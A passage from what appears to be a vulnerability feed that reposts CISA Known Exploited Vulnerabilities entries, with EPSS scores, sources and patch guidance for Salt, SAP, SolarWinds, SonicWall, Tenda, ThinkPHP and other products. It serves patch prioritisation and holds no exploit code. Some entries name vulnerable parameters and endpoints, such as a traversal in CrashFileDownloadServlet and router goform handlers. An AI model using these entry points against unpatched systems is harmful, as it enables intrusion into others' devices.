SaltStack Salt allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt API using the SSH client. This vulnerability affects any users running the Salt API.
EPSS 99.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-16846&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-16846: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-16846&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SAP Customer Relationship Management (CRM) Path Traversal Vulnerability
https://kevwire.com/record/CVE-2018-2380
SAP Customer Relationship Management (CRM) Path Traversal Vulnerability (Nov 3, 2021).
SAP Customer Relationship Management (CRM) contains a path traversal vulnerability that allows an attacker to exploit insufficient validation of path information provided by users.
EPSS 28.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-2380&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-2380: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-2380&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SAP NetWeaver Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2010-5326
SAP NetWeaver Remote Code Execution Vulnerability (Nov 3, 2021).
SAP NetWeaver Application Server Java Platforms Invoker Servlet does not require authentication, allowing for remote code execution via a HTTP or HTTPS request.
EPSS 17.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-5326&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-5326: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-5326&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SAP NetWeaver XML External Entity (XXE) Vulnerability
https://kevwire.com/record/CVE-2016-9563
SAP NetWeaver XML External Entity (XXE) Vulnerability (Nov 3, 2021).
SAP NetWeaver Application Server Java Platforms contains an unspecified vulnerability in BC-BMT-BPM-DSK which allows remote, authenticated users to conduct XML External Entity (XXE) attacks.
EPSS 24.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-9563&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-9563: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-9563&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SAP NetWeaver Missing Authentication for Critical Function Vulnerability
https://kevwire.com/record/CVE-2020-6287
SAP NetWeaver Missing Authentication for Critical Function Vulnerability (Nov 3, 2021).
SAP NetWeaver Application Server Java Platforms contains a missing authentication for critical function vulnerability allowing unauthenticated access to execute configuration tasks and create administrative users.
EPSS 94.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-6287&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-6287: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-6287&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SAP Solution Manager Missing Authentication for Critical Function Vulnerability
https://kevwire.com/record/CVE-2020-6207
SAP Solution Manager Missing Authentication for Critical Function Vulnerability (Nov 3, 2021).
SAP Solution Manager User Experience Monitoring contains a missing authentication for critical function vulnerability which results in complete compromise of all SMDAgents connected to the Solution Manager.
EPSS 98.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-6207&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-6207: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-6207&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SAP NetWeaver Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2016-3976
SAP NetWeaver Directory Traversal Vulnerability (Nov 3, 2021).
SAP NetWeaver Application Server Java Platforms contains a directory traversal vulnerability via a ..\ (dot dot backslash) in the fileName parameter to CrashFileDownloadServlet. This allows remote attackers to read files.
EPSS 47.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3976&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-3976: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3976&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SIMalliance Toolbox Browser Command Injection Vulnerability
https://kevwire.com/record/CVE-2019-16256
SIMalliance Toolbox Browser Command Injection Vulnerability (Nov 3, 2021).
SIMalliance Toolbox Browser contains an command injection vulnerability that could allow remote attackers to retrieve location and IMEI information or execute a range of other attacks by modifying the attack message.
EPSS 4.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-16256&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-16256: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-16256&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SolarWinds Orion Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2020-10148
SolarWinds Orion Authentication Bypass Vulnerability (Nov 3, 2021).
SolarWinds Orion API contains an authentication bypass vulnerability that could allow a remote attacker to execute API commands.
EPSS 92.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-10148&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-10148: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-10148&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SolarWinds Serv-U Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-35211
SolarWinds Serv-U Remote Code Execution Vulnerability (Nov 3, 2021).
SolarWinds Serv-U contains an unspecified memory escape vulnerability which can allow for remote code execution.
EPSS 91.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-35211&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-35211: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-35211&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SolarWinds Virtualization Manager Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2016-3643
SolarWinds Virtualization Manager Privilege Escalation Vulnerability (Nov 3, 2021).
SolarWinds Virtualization Manager allows for privilege escalation through leveraging a misconfiguration of sudo.
EPSS 3.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3643&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-3643: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3643&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sonatype Nexus Repository Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-10199
Sonatype Nexus Repository Remote Code Execution Vulnerability (Nov 3, 2021).
Sonatype Nexus Repository contains an unspecified vulnerability that allows for remote code execution.
EPSS 99.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-10199&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-10199: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-10199&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall Email Security Improper Privilege Management Vulnerability
https://kevwire.com/record/CVE-2021-20021
SonicWall Email Security Improper Privilege Management Vulnerability (Nov 3, 2021).
SonicWall Email Security contains an improper privilege management vulnerability that allows an attacker to create an administrative account by sending a crafted HTTP request to the remote host. This vulnerability has known usage in a SonicWall Email Security exploit chain along with CVE-2021-20022 and CVE-2021-20023 to achieve privilege escalation.
EPSS 88.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-20021&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-20021: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-20021&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall SMA100 SQL Injection Vulnerability
https://kevwire.com/record/CVE-2019-7481
SonicWall SMA100 SQL Injection Vulnerability (Nov 3, 2021).
SonicWall SMA100 contains a SQL injection vulnerability allowing an unauthenticated user to gain read-only access to unauthorized resources.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7481&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-7481: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7481&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall Email Security Unrestricted Upload of File Vulnerability
https://kevwire.com/record/CVE-2021-20022
SonicWall Email Security Unrestricted Upload of File Vulnerability (Nov 3, 2021).
SonicWall Email Security contains an unrestricted upload of file with dangerous type vulnerability that allows a post-authenticated attacker to upload a file to the remote host. This vulnerability has known usage in a SonicWall Email Security exploit chain along with CVE-2021-20021 and CVE-2021-20023 to achieve privilege escalation.
EPSS 16.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-20022&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-20022: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-20022&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall Email Security Path Traversal Vulnerability
https://kevwire.com/record/CVE-2021-20023
SonicWall Email Security Path Traversal Vulnerability (Nov 3, 2021).
SonicWall Email Security contains a path traversal vulnerability that allows a post-authenticated attacker to read files on the remote host. This vulnerability has known usage in a SonicWall Email Security exploit chain along with CVE-2021-20021 and CVE-2021-20022 to achieve privilege escalation.
EPSS 51.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-20023&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-20023: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-20023&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall SSLVPN SMA100 SQL Injection Vulnerability
https://kevwire.com/record/CVE-2021-20016
SonicWall SSLVPN SMA100 SQL Injection Vulnerability (Nov 3, 2021).
SonicWall SSLVPN SMA100 contains a SQL injection vulnerability that allows remote exploitation for credential access by an unauthenticated attacker.
EPSS 40.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-20016&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-20016: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-20016&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sophos SFOS SQL Injection Vulnerability
https://kevwire.com/record/CVE-2020-12271
Sophos SFOS SQL Injection Vulnerability (Nov 3, 2021).
Sophos Firewall operating system (SFOS) firmware contains a SQL injection vulnerability when configured with either the administration (HTTPS) service or the User Portal is exposed on the WAN zone. Successful exploitation may cause remote code execution to exfiltrate usernames and hashed passwords for the local device admin(s), portal admins, and user accounts used for remote access (but not external Active Directory or LDAP passwords).
EPSS 42.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-12271&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-12271: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-12271&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sumavision EMR Cross-Site Request Forgery (CSRF) Vulnerability
https://kevwire.com/record/CVE-2020-10181
Sumavision EMR Cross-Site Request Forgery (CSRF) Vulnerability (Nov 3, 2021).
Sumavision Enhanced Multimedia Router (EMR) contains a cross-site request forgery (CSRF) vulnerability allowing the creation of users with elevated privileges as administrator on a device.
EPSS 14.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-10181&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-10181: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-10181&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Symantec Messaging Gateway Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-6327
Symantec Messaging Gateway Remote Code Execution Vulnerability (Nov 3, 2021).
Symantec Messaging Gateway contains an unspecified vulnerability which can allow for remote code execution. With the ability to perform remote code execution, an attacker may also desire to perform privilege escalating actions.
EPSS 35.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6327&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-6327: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6327&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TeamViewer Desktop Bypass Remote Login Vulnerability
https://kevwire.com/record/CVE-2019-18988
TeamViewer Desktop Bypass Remote Login Vulnerability (Nov 3, 2021).
TeamViewer Desktop allows for bypass of remote-login access control because the same AES key is used for different customers' installations. If an attacker were to know this key, they could decrypt protected information stored in registry or configuration files or decryption of the Unattended Access password to the system (which allows for remote login to the system).
EPSS 4.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-18988&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-18988: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-18988&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Progress Telerik UI for ASP.NET AJAX and Sitefinity Cryptographic Weakness Vulnerability
https://kevwire.com/record/CVE-2017-9248
Progress Telerik UI for ASP.NET AJAX and Sitefinity Cryptographic Weakness Vulnerability (Nov 3, 2021).
Progress Telerik UI for ASP.NET AJAX and Sitefinity have a cryptographic weakness in Telerik.Web.UI.dll that can be exploited to disclose encryption keys (Telerik.Web.UI.DialogParametersEncryptionKey and/or the MachineKey), perform cross-site-scripting (XSS) attacks, compromise the ASP.NET ViewState, and/or upload and download files.
EPSS 75.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-9248&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-9248: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-9248&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Tenda AC11 Router Stack Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2021-31755
Tenda AC11 Router Stack Buffer Overflow Vulnerability (Nov 3, 2021).
Tenda AC11 devices contain a stack buffer overflow vulnerability in /goform/setmac which allows attackers to execute code via a crafted post request.
EPSS 86.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-31755&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-31755: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-31755&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Tenda AC1900 Router AC15 Model Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-10987
Tenda AC1900 Router AC15 Model Remote Code Execution Vulnerability (Nov 3, 2021).
Tenda AC1900 Router AC15 Model contains an unspecified vulnerability that allows remote attackers to execute system commands via the deviceName POST parameter.
EPSS 79.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-10987&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-10987: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-10987&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Tenda AC7, AC9, and AC10 Routers Command Injection Vulnerability
https://kevwire.com/record/CVE-2018-14558
Tenda AC7, AC9, and AC10 Routers Command Injection Vulnerability (Nov 3, 2021).
Tenda AC7, AC9, and AC10 devices contain a command injection vulnerability due to  the "formsetUsbUnload" function executes a dosystemCmd function with untrusted input. Successful exploitation allows an attacker to execute OS commands via a crafted goform/setUsbUnload request.
EPSS 8.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-14558&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-14558: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-14558&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ThinkPHP "noneCms" Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2018-20062
ThinkPHP "noneCms" Remote Code Execution Vulnerability (Nov 3, 2021).
ThinkPHP "noneCms" contains an unspecified vulnerability that allows for remote code execution through crafted use of the filter parameter.
EPSS 99.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-20062&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-20062: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-20062&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ThinkPHP Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-9082
ThinkPHP Remote Code Execution Vulnerability (Nov 3, 2021).
